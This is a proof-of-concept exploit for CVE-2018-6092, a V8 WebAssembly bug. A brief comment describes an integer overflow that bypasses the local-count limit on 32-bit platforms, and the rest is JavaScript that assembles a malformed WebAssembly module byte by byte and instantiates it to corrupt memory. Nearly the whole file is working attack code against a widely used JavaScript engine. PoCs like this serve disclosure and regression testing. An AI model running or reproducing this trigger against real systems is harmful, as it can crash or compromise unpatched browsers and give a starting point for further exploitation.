CVE-2018-6092

Code js

/*
When v8 decodes the locals of a function, it performs a check:

if ((count + type_list->size()) > kV8MaxWasmFunctionLocals) {
        decoder->error(decoder->pc() - 1, "local count too large");
        return false;
      }

On a 32-bit platform, this check can be bypassed due to an integer overflow. This allows the number of function locals to be large, and can lead to memory corruption when the locals are allocated.

A PoC is attached.
*/

var b2 = new Uint8Array( 171);
b2[0] = 0x0;
b2[1] = 0x61;
b2[2] = 0x73;
b2[3] = 0x6d;
b2[4] = 0x1;
b2[5] = 0x0;
b2[6] = 0x0;
b2[7] = 0x0;
b2[8] = 0x1;
b2[9] = 0xe;
b2[10] = 0x3;
b2[11] = 0x60;
b2[12] = 0x1;
b2[13] = 0x7f;
b2[14] = 0x0;
b2[15] = 0x60;
b2[16] = 0x0;
b2[17] = 0x0;
b2[18] = 0x60;
b2[19] = 0x2;
b2[20] = 0x7f;
b2[21] = 0x7f;
b2[22] = 0x1;
b2[23] = 0x7f;
b2[24] = 0x2;
b2[25] = 0x23;
b2[26] = 0x2;
b2[27] = 0x2;
b2[28] = 0x6a;
b2[29] = 0x73;
b2[30] = 0x3;
b2[31] = 0x6d;
b2[32] = 0x65;
b2[33] = 0x6d;
b2[34] = 0x2;
b2[35] = 0x0;
b2[36] = 0x1;
b2[37] = 0x7;
b2[38] = 0x69;
b2[39] = 0x6d;
b2[40] = 0x70;
b2[41] = 0x6f;
b2[42] = 0x72;
b2[43] = 0x74;
b2[44] = 0x73;
b2[45] = 0xd;
b2[46] = 0x69;
b2[47] = 0x6d;
b2[48] = 0x70;
b2[49] = 0x6f;
b2[50] = 0x72;
b2[51] = 0x74;
b2[52] = 0x65;
b2[53] = 0x64;
b2[54] = 0x5f;
b2[55] = 0x66;
b2[56] = 0x75;
b2[57] = 0x6e;
b2[58] = 0x63;
b2[59] = 0x0;
b2[60] = 0x0;
b2[61] = 0x3;
b2[62] = 0x3;
b2[63] = 0x2;
b2[64] = 0x1;
b2[65] = 0x2;
b2[66] = 0x7;
b2[67] = 0x1e;
b2[68] = 0x2;
b2[69] = 0xd;
b2[70] = 0x65;
b2[71] = 0x78;
b2[72] = 0x70;
b2[73] = 0x6f;
b2[74] = 0x72;
b2[75] = 0x74;
b2[76] = 0x65;
b2[77] = 0x64;
b2[78] = 0x5f;
b2[79] = 0x66;
b2[80] = 0x75;
b2[81] = 0x6e;
b2[82] = 0x63;
b2[83] = 0x0;
b2[84] = 0x1;
b2[85] = 0xa;
b2[86] = 0x61;
b2[87] = 0x63;
b2[88] = 0x63;
b2[89] = 0x75;
b2[90] = 0x6d;
b2[91] = 0x75;
b2[92] = 0x6c;
b2[93] = 0x61;
b2[94] = 0x74;
b2[95] = 0x65;
b2[96] = 0x0;
b2[97] = 0x2;
b2[98] = 0xa;
b2[99] = 0x47;
b2[100] = 0x2;
b2[101] = 0x6;
b2[102] = 0x0;
b2[103] = 0x41;
b2[104] = 0x2a;
b2[105] = 0x10;
b2[106] = 0x0;
b2[107] = 0xb;
b2[108] = 0x3e;
b2[109] = 0x1;
b2[110] = 0xff;
b2[111] = 0xff;
b2[112] = 0xff;
b2[113] = 0xff;
b2[114] = 0x0f;
b2[115] = 0x7f;
b2[116] = 0x20;
b2[117] = 0x0;
b2[118] = 0x20;
b2[119] = 0x1;
b2[120] = 0x41;
b2[121] = 0x4;
b2[122] = 0x6c;
b2[123] = 0x6a;
b2[124] = 0x21;
b2[125] = 0x2;
b2[126] = 0x2;
b2[127] = 0x40;
b2[128] = 0x3;
b2[129] = 0x40;
b2[130] = 0x20;
b2[131] = 0x0;
b2[132] = 0x20;
b2[133] = 0x2;
b2[134] = 0x46;
b2[135] = 0xd;
b2[136] = 0x1;
b2[137] = 0x41;
b2[138] = 0x2a;
b2[139] = 0x10;
b2[140] = 0x0;
b2[141] = 0x20;
b2[142] = 0x3;
b2[143] = 0x41;
b2[144] = 0xc4;
b2[145] = 0x0;
b2[146] = 0x20;
b2[147] = 0x0;
b2[148] = 0x36;
b2[149] = 0x2;
b2[150] = 0x0;
b2[151] = 0x41;
b2[152] = 0xc4;
b2[153] = 0x0;
b2[154] = 0x6a;
b2[155] = 0x21;
b2[156] = 0x3;
b2[157] = 0x20;
b2[158] = 0x0;
b2[159] = 0x41;
b2[160] = 0x4;
b2[161] = 0x6a;
b2[162] = 0x21;
b2[163] = 0x0;
b2[164] = 0xc;
b2[165] = 0x0;
b2[166] = 0xb;
b2[167] = 0xb;
b2[168] = 0x20;
b2[169] = 0x3;
b2[170] = 0xb;

function f(){print("in f");}
var memory = new WebAssembly.Memory({initial:1, maximum:1});
var mod = new WebAssembly.Module(b2);
var i = new WebAssembly.Instance(mod, { imports : {imported_func : f}, js : {mem : memory}});
i.exports.accumulate.call(0, 5);